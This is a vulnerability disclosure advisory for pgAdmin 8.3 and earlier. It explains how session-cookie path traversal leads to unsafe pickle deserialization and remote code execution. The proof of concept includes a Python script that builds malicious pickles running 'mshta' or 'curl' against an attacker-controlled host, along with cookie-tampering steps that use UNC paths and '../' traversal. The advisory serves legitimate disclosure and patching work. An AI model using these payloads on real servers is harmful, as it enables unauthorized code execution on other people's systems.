pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)
Summary
pgAdmin <= 8.3 is affected by a path-traversal vulnerability while deserializing users’ sessions in the session handling code. If the server is running on Windows, an unauthenticated attacker can load and deserialize remote pickle objects and gain code execution. If the server is running on POSIX/Linux, an authenticated attacker can upload pickle objects, deserialize them and gain code execution.
Product Description (from vendor)
“pgAdmin is the most popular and feature rich Open Source administration and development platform for PostgreSQL, the most advanced Open Source database in the world. pgAdmin may be used on Linux, Unix, macOS and Windows to manage PostgreSQL and EDB Advanced Server 11 and above.”. For more information visit https://www.pgadmin.org/.
CVE(s)
Details
Root Cause Analysis
pgAdmin4 uses a file-based session management approach. The session files are saved on disk as pickle objects. When a user performs a request, the value of the session cookie pga4_session
is used to retrieve the file, then it’s content is deserialized, and finally its signature verified.
The ManagedSessionInterface
class implements flask’s SessionInterface
to read the user’s cookie and translate it into their session:
1
2
3
4
5
6
7
8
9
10
11
12
| def open_session(self, app, request):
cookie_val = request.cookies.get(app.config['SESSION_COOKIE_NAME'])
if not cookie_val or '!' not in cookie_val:
return self.manager.new_session()
sid, digest = cookie_val.split('!', 1)
if self.manager.exists(sid):
return self.manager.get(sid, digest)
return self.manager.new_session()
|
The cookie value is split in 2 parts at the first !
character. The first part is the session ID (sid
), while the second is the session digest.
The vulnerability lies in the FileBackedSessionManager.get
method that loads session files by concatenating the sessions
folder - located inside the pgAdmin4 DATA_DIR
- with the session ID. Precisely, the two values are concatenated using the os.path.join
function.
This function has two weaknesses:
- It does not set a trusted base-path which should not be escaped, therefore
os.path.join("/opt/safe/", "../../etc/passwd")
returns /etc/passwd
. - It uses the right-most absolute path in its arguments as the root path, therefore
os.path.join("./safe/", "do_not_escape_from_here", "/etc/passwd")
returns /etc/passwd
.
The following snippet shows the vulnerable code, with added comments:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| def get(self, sid, digest): # sid and digest are read from the cookie, therefore user-controllable
'Retrieve a managed session by session-id, checking the HMAC digest'
fname = os.path.join(self.path, sid) # <-- by controlling the sid we can force os.path.join into returning an arbitrary absolute path
data = None
hmac_digest = None
randval = None
if os.path.exists(fname):
try:
with open(fname, 'rb') as f: # <-- open will read a file from the absolute path
randval, hmac_digest, data = load(f) # <-- load is pickle.load, the deserialization entry-point
except Exception:
pass
# ...SNIP...
|
Proof of Concept
Initial Setup
- Expose a SMB server on a public-facing host:
- Install impacket with:
python3 -m pipx install impacket
- Download the
smbserver.py
example - Expose the
/tmp
folder as share
: python3 smbserver.py -smb2support share /tmp
- Expose an HTTP server on a public-facing host.
- Save the following snippet of code and run it with
python3 pickler.py '<attacker_host>'
replacing <attacker_host>
with the IP/domain of the HTTP server setup at step 2 to create two serializaed object, one for Windows (nt.pickle
) and one for Linux/POSIX (posix.pickle
) which will perform an HTTP request to the <attacker_host>
when deserialized.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
if len(sys.argv) != 2:
exit(f"usage: {sys.argv[0]} ip:port")
with open('nt.pickle', 'wb') as f:
f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"curl http://{HOST}/"))
|
Windows
- Expose the
nt.pickle
file using the SMB share - Deploy a pgAdmin4 server on Windows
- Visit the pgAdmin4 login page
- Open the browser’s developer tools and change the
pga4_session
cookie value to //<attacker_host>/share/nt.pickle!a
replacing <attacker_host>
with the SMB server’s IP/domain - Notice that the
nt.pickle
file is retrieved from the SMB share - Notice that an HTTP request is performed to the HTTP server, confirming the code execution
Linux/POSIX
- Deploy a pgAdmin4 server on Linux
- Login with a valid user account
- Visit the Storage Manager component
- Upload the
posix.pickle
file - Open the browser’s developer tools and change the
pga4_session
cookie value to ../storage/<email>/posix.pickle!a
replacing <email>
with the currently logged in user’s email after replacing @
with _
- Notice that an HTTP request is performed to the HTTP server, confirming the code execution
Impact
An attacker could force the server into deserializing a pickle object at an arbitrary path. This type of deserialization can be used to run arbitrary code.
The requirements to exploit the vulnerability vary based on the operating system of the host where pgAdmin4 is installed:
- Windows: the attacker could specify in the cookie a UNC path (i.e.
//attacker.com/share/file.pickle
) and expose an unauthenticated SMB share to serve the malicious pickle object, turning the vulnerability into a pre-authentication one. - Linux/POSIX: the attacker must be able to upload the malicious pickle object on the host, this could be done using the pgAdmin4 Storage Manager component, which requires the attacker to have a valid account on the target pgAdmin4 instance.
Upgrade to pgAdmin 8.4 or later.
Disclosure Timeline
This report was subject to Shielder’s disclosure policy:
- 26/02/2024:
- First contact with pgAdmin Security Team.
- 27/02/2024:
- Full Report sent via mail to pgAdmin Security Team.
- pgAdmin Security Team acknowledges the vulnerability and starts working on a fix.
- 27/02/2024:
- pgAdmin Team proposes a patch.
- Shielder suggests changes to the proposed patch.
- 27/02/2024:
- pgAdmin Team proposes a new improved patch.
- Shielder acknowledges the new patch.
- 04/03/2024:
- 07/03/2024:
- 08/03/2024:
- Shielder’s advisory is made public.
Credits
- Davide `TheZero` Silvetti of Shielder
- Abdel Adim `smaury` Oisfi of Shielder
This advisory was first published on https://www.shielder.com/advisories/pgadmin-path-traversal_leads_to_unsafe_deserialization_and_rce/